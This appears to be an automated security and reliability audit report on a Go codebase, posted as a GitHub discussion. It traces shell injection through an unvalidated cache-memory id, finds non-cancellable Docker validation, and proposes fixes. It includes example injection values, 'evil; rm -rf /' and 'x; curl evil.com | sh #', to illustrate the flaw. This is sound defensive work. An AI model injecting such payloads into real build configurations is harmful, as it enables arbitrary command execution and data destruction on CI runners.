[sergo] Sergo Report: cache-id-second-propagation-plus-docker-context-audit - 2026-03-22

[github-actions[bot]]

Overview

Today's run extends the cache.ID injection findings from run 28 into a new propagation path through copilot_engine_execution.go, and introduces a fresh audit of uncancellable blocking in docker_validation.go. The cache.ID issue proves to have wider blast radius than originally documented: the same unvalidated identifier that injects into cache.go:367 also flows into two additional injection points in the Copilot engine execution code path. The Docker validation finding is entirely new territory — the validateDockerImage function lacks a context.Context parameter entirely, causing gh aw compile to potentially block up to 35+ seconds without responding to Ctrl+C.

Three improvement tasks are generated, covering the cache.ID injection second propagation vector (CRITICAL), the Docker validation context gap (HIGH), and a low-severity cancellable-sleep inconsistency.

Serena Tools Snapshot

• Total Tools Available: 21 (stable, same as run 28)
• New Tools Since Last Run: None detected
• Removed Tools: None detected
• Tools Used Today: activate_project, check_onboarding_performed, list_dir, grep, bash, read_file

Strategy Selection

Cached Reuse Component (50%): Extending cache-id-injection from Run 28

• Previous Strategy Adapted: cache-id-injection-plus-mcp-setup-revisit (run 28, score 8/10)
• Last Used: 2026-03-21
• Why Reused: Run 28 found cache.ID injected into mkdir -p in cache.go:367 and YAML key/value fields in generateCacheSteps. Root cause was parseCacheMemoryEntry having zero validation on the id field. The hypothesis was that the same cache.ID likely propagates further into other subsystems — specifically the Copilot engine execution path which also reads CacheMemoryConfig.Caches.
• Modification: Traced cache.ID → cacheDir propagation through copilot_engine_execution.go rather than staying in cache.go.

New Exploration Component (50%): Docker Validation Context Audit

• Novel Approach: Audit all time.Sleep call sites in non-test production code for missing context cancellation, focusing on functions that lack context.Context parameters entirely.
• Tools Employed: grep for time.Sleep patterns, read_file to inspect function signatures and surrounding code.
• Hypothesis: Functions in the validation/compilation phase may block the entire compile operation without responding to signal. docker_validation.go was an unexplored file.
• Target Areas: pkg/workflow/docker_validation.go, pkg/cli/run_workflow_execution.go, pkg/cli/trial_repository.go

Combined Strategy Rationale

The cached component deepened an already-confirmed CRITICAL vulnerability by mapping its full call graph, adding concrete evidence of wider impact. The new component discovered a distinct class of usability/reliability bug (uninterruptible blocking) that complements the security-focused injection findings. Together they provide both depth (critical issue propagation) and breadth (new problem class).

Codebase Context

• Total Go Files: 606 (excluding test files)
• Packages Analyzed: pkg/workflow (primary), pkg/cli (secondary)
• Focus Areas: copilot_engine_execution.go, docker_validation.go, cache.go, run_workflow_execution.go

Findings Summary

• Total Issues Found: 3
• Critical: 1
• High: 1
• Medium: 0
• Low: 1

Detailed Findings

Critical: cache.ID Injection Propagates into Copilot Engine Execution

File: pkg/workflow/copilot_engine_execution.go

cache.ID (from user YAML frontmatter, field cache-memory[*].id) flows through a second injection path entirely separate from cache.go:367 found in run 28.

The propagation chain:

parseCacheMemoryEntry (cache.go:47) — no validation on id field
  → cache.ID assigned (e.g. "evil; rm -rf /")
  → copilot_engine_execution.go:104
      cacheDir = fmt.Sprintf("/tmp/gh-aw/cache-memory-%s/", cache.ID)
  → copilot_engine_execution.go:106
      copilotArgs = append(copilotArgs, "--add-dir", cacheDir)
  → copilot_engine_execution.go:129
      addDirPaths := extractAddDirPaths(copilotArgs)  // extracts cacheDir
  → copilot_engine_execution.go:136 (INJECTION POINT A)
      fmt.Fprintf(&mkdirCommands, "mkdir -p %s\n", dir)
      // → "mkdir -p /tmp/gh-aw/cache-memory-evil; rm -rf //"
  → copilot_engine_execution.go:166 (INJECTION POINT B)
      copilotCommand = fmt.Sprintf("%s %s", commandName, shellJoinArgs(copilotArgs))
      // cacheDir lands unquoted in final shell command string

The mkdirCommands string is then embedded directly in the compiled GitHub Actions YAML run: block at copilot_engine_execution.go:207. A cache-memory entry with id: "x; curl evil.com | sh #" would inject and execute arbitrary shell commands on the CI runner.

Severity: CRITICAL — same classification as cache.go:367 from run 28. Same root cause, two additional exploitation surfaces.

Locations:

• pkg/workflow/copilot_engine_execution.go:104 — cacheDir constructed from unvalidated cache.ID
• pkg/workflow/copilot_engine_execution.go:136 — mkdir -p <cacheDir> shell injection
• pkg/workflow/copilot_engine_execution.go:166 — cacheDir in full copilot command string
• pkg/workflow/cache.go:47 — root cause: parseCacheMemoryEntry no ID validation

High: validateDockerImage Has No Context — Blocks gh aw compile for 35+ Seconds

File: pkg/workflow/docker_validation.go

// Line 89 — no context.Context parameter
func validateDockerImage(image string, verbose bool) error {
    // ...
    for attempt := 1; attempt <= maxAttempts; attempt++ {
        pullCmd := exec.Command("docker", "pull", image)  // line 129 — no context
        pullOutput, pullErr := pullCmd.CombinedOutput()
        // ...
        if attempt < maxAttempts {
            time.Sleep(time.Duration(waitTime) * time.Second)  // line 168 — no ctx check
            waitTime *= 2  // exponential backoff: 5s → 10s → 20s
        }
    }
}

With maxAttempts = 3 and waitTime starting at 5 seconds doubling each retry, the worst case is:

• Attempt 1 pull: up to docker timeout (minutes without a deadline)
• Sleep 5s (uninterruptible)
• Attempt 2 pull: up to docker timeout
• Sleep 10s (uninterruptible)
• Attempt 3 pull: up to docker timeout

A user who references an invalid but resolvable-looking container image (e.g. a private registry that returns 403 instead of 404) can trigger this code path during gh aw compile. The function ignores Ctrl+C entirely because neither the exec.Command nor the time.Sleep respond to context cancellation. The function should accept context.Context, use exec.CommandContext, and replace the sleep with select { case <-time.After(d): case <-ctx.Done(): return ctx.Err() }.

Severity: HIGH — blocks the user's terminal with no escape path other than kill -9.

Locations:

• pkg/workflow/docker_validation.go:89 — function signature missing context.Context
• pkg/workflow/docker_validation.go:129 — exec.Command without context
• pkg/workflow/docker_validation.go:168 — time.Sleep without select/ctx.Done

Low Priority: run_workflow_execution.go time.Sleep Missing ctx.Done

File: pkg/cli/run_workflow_execution.go:567

The runAllWorkflows closure correctly checks ctx.Done() before triggering each workflow (lines 544–548) but then sleeps for 1 second between workflows without context awareness:

// line 544-548: ctx check ✓
select {
case <-ctx.Done():
    return ctx.Err()
default:
}
// ... trigger workflow ...
// line 567: ctx check missing ✗
if i < len(workflowNames)-1 {
    time.Sleep(1 * time.Second)
}

If a user presses Ctrl+C immediately after a workflow trigger, the program will be unresponsive for up to 1 second. The fix is to wrap the sleep in a select:

select {
case <-time.After(1 * time.Second):
case <-ctx.Done():
    return ctx.Err()
}

Severity: LOW — maximum delay is 1 second, no user-visible hang in practice.

Improvement Tasks

Task 1: Validate cache-memory id Field to Prevent Shell Injection in Copilot Engine

Issue Type: Security — Shell Injection

Problem: parseCacheMemoryEntry (cache.go:47) accepts any string value for the id field without validation. This value propagates to copilot_engine_execution.go:104 where it is used to construct cacheDir = fmt.Sprintf("/tmp/gh-aw/cache-memory-%s/", cache.ID), which is then injected into mkdir -p <cacheDir> shell commands and the full copilot CLI invocation in the compiled GitHub Actions YAML. A malicious id value with ;, &&, $(), or newlines executes arbitrary shell code on CI runners.

Locations:

• pkg/workflow/cache.go:47 — root cause, add ID validation
• pkg/workflow/copilot_engine_execution.go:104,136,166 — secondary propagation

Impact:

• Severity: CRITICAL
• Affected Files: 2
• Risk: Arbitrary shell command execution on GitHub Actions runners

Recommendation: Add ID validation in parseCacheMemoryEntry immediately after entry.ID = idStr at cache.go:56:

// Before (cache.go:55-56):
if idStr, ok := id.(string); ok {
    entry.ID = idStr
}

// After:
if idStr, ok := id.(string); ok {
    if !isValidCacheID(idStr) {
        return entry, fmt.Errorf("invalid cache-memory id %q: must match [a-z0-9-]+", idStr)
    }
    entry.ID = idStr
}

// New helper (e.g. in cache.go):
var validCacheIDRegexp = regexp.MustCompile(`^[a-z0-9][a-z0-9-]{0,62}$`)
func isValidCacheID(id string) bool {
    return validCacheIDRegexp.MatchString(id)
}

This single validation at the parse boundary eliminates all downstream injection surfaces including cache.go:367, copilot_engine_execution.go:136, and copilot_engine_execution.go:166.

Validation:

• Run existing tests
• Add unit tests for isValidCacheID covering ;, &&, $(), ../, newlines
• Verify compiler rejects invalid IDs with clear error message
• Check no existing valid workflows use non-alphanumeric-hyphen IDs

Estimated Effort: Small

---

Task 2: Add context.Context to validateDockerImage for Cancellable Compilation

Issue Type: Reliability — Uninterruptible Blocking

Problem: validateDockerImage in docker_validation.go takes no context.Context. Both the docker pull subprocess and the exponential-backoff sleep (5s / 10s / 20s) are non-cancellable. During gh aw compile, invalid or slow-to-respond container images cause a 35+ second terminal hang with no response to Ctrl+C. The function should propagate context to the subprocess and the retry sleep.

Location: pkg/workflow/docker_validation.go:89

Impact:

• Severity: HIGH
• Affected Files: 1 (plus callers)
• Risk: Degraded developer experience; compile phase unresponsive to cancellation

Recommendation:

// Before:
func validateDockerImage(image string, verbose bool) error {
    // ...
    pullCmd := exec.Command("docker", "pull", image)
    // ...
    time.Sleep(time.Duration(waitTime) * time.Second)
}

// After:
func validateDockerImage(ctx context.Context, image string, verbose bool) error {
    // ...
    pullCmd := exec.CommandContext(ctx, "docker", "pull", image)
    // ...
    select {
    case <-time.After(time.Duration(waitTime) * time.Second):
    case <-ctx.Done():
        return ctx.Err()
    }
}

Update all callers to pass context. The isDockerDaemonRunning() cached check at line 65 also uses exec.Command without context — add a sync.Once timeout there too.

Validation:

• Run existing tests
• Verify Ctrl+C cancels docker pull immediately
• Ensure retry sleep is also cancelled on context done
• Check callers pass the compilation context

Estimated Effort: Small

---

Task 3: Make runAllWorkflows Sleep Cancellable via Context

Issue Type: Reliability — Minor Uninterruptible Sleep

Problem: run_workflow_execution.go:567 uses time.Sleep(1 * time.Second) as an inter-workflow delay without checking ctx.Done(). The context check exists at line 544 before each workflow but is absent around the 1-second delay between them, creating a brief unresponsive window on cancellation.

Location: pkg/cli/run_workflow_execution.go:567

Impact:

• Severity: LOW
• Affected Files: 1
• Risk: 1-second delay before Ctrl+C is honoured in multi-workflow runs

Recommendation:

// Before:
if i < len(workflowNames)-1 {
    time.Sleep(1 * time.Second)
}

// After:
if i < len(workflowNames)-1 {
    select {
    case <-time.After(1 * time.Second):
    case <-ctx.Done():
        return ctx.Err()
    }
}

Estimated Effort: Trivial

Success Metrics

This Run

• Findings Generated: 3
• Tasks Created: 3
• Files Analyzed: ~10
• Success Score: 8/10

Score Reasoning

• Findings Quality (3/4): Found one CRITICAL (new propagation of known issue with concrete call-graph evidence), one HIGH (novel class of bug in untouched file), one LOW. Solid quality spread.
• Coverage (2/3): Focused on 2 packages with surgical precision; didn't do broad sweep.
• Task Generation (3/3): All 3 tasks are specific, actionable, and include code examples.

Historical Context

Strategy Performance

Run	Strategy	Score	Findings	Tasks
26	mcp-scripts-shell-injection	9	3	3
28	cache-id-injection	8	3	3
29 (today)	cache-id-second-propagation	8	3	3

Cumulative Statistics

• Total Runs: 29
• Total Findings: 87
• Total Tasks Generated: 87
• Average Success Score: 7.93/10
• Most Successful Strategy: mcp-scripts-shell-injection-plus-yaml-analysis (score 9)

Recommendations

Immediate Actions

1. [CRITICAL] Validate cache-memory id field in parseCacheMemoryEntry — one-line regex fix eliminates multiple injection surfaces across cache.go and copilot_engine_execution.go
2. [HIGH] Add context.Context to validateDockerImage — prevents 35+ second compile hangs
3. [LOW] Wrap inter-workflow time.Sleep in select/ctx.Done — consistency improvement

Long-term Improvements

The unfixed_recurring_issues list now contains 32 entries spanning 29 runs. The most impactful backlog items by re-occurrence count are:

• GetSupportedEngines/GetEngineByPrefix non-deterministic map iteration (27 runs)
• getLatestWorkflowRunWithRetry missing context (21 runs)
• io.ReadAll without LimitReader across 4+ HTTP client sites (8+ runs each)

A dedicated triage sprint targeting the top 5 by severity × recurrence would meaningfully reduce the backlog.

Next Run Preview

Suggested Focus Areas

• Verify cache.ID fix: If the parseCacheMemoryEntry validation is merged, confirm it covers all injection points
• Audit EngineConfig.Args injection: copilot_engine_execution.go:118 appends user-provided EngineConfig.Args directly to copilotArgs; trace whether those args can contain --add-dir <shell-injection-path>
• Context audit of remaining subprocess callers: git_helpers.go runGitWithSpinner and dispatch.go getRepoDefaultBranch remain unfixed context gaps from previous runs

Strategy Evolution

Continue the 50%/50% split. The next cached component should pick either the high-score mcp-scripts-shell-injection strategy (score 9, last used run 26) to verify the mcp_setup_generator.go heredoc injection is still present, or the EngineConfig.Args angle above. For new exploration, consider auditing fmt.Fprintf calls in jobs.go (150+ lines of direct YAML emission) for user-controlled job.Env or job.Outputs keys without newline sanitization.

---

References:

• §23413720096

AI generated by Sergo - Serena Go Expert · history

• expires on Mar 23, 2026, 10:21 PM UTC

[github-actions[bot]]

This discussion was automatically closed because it expired on 2026-03-23T22:21:19.833Z.

Closed by Workflow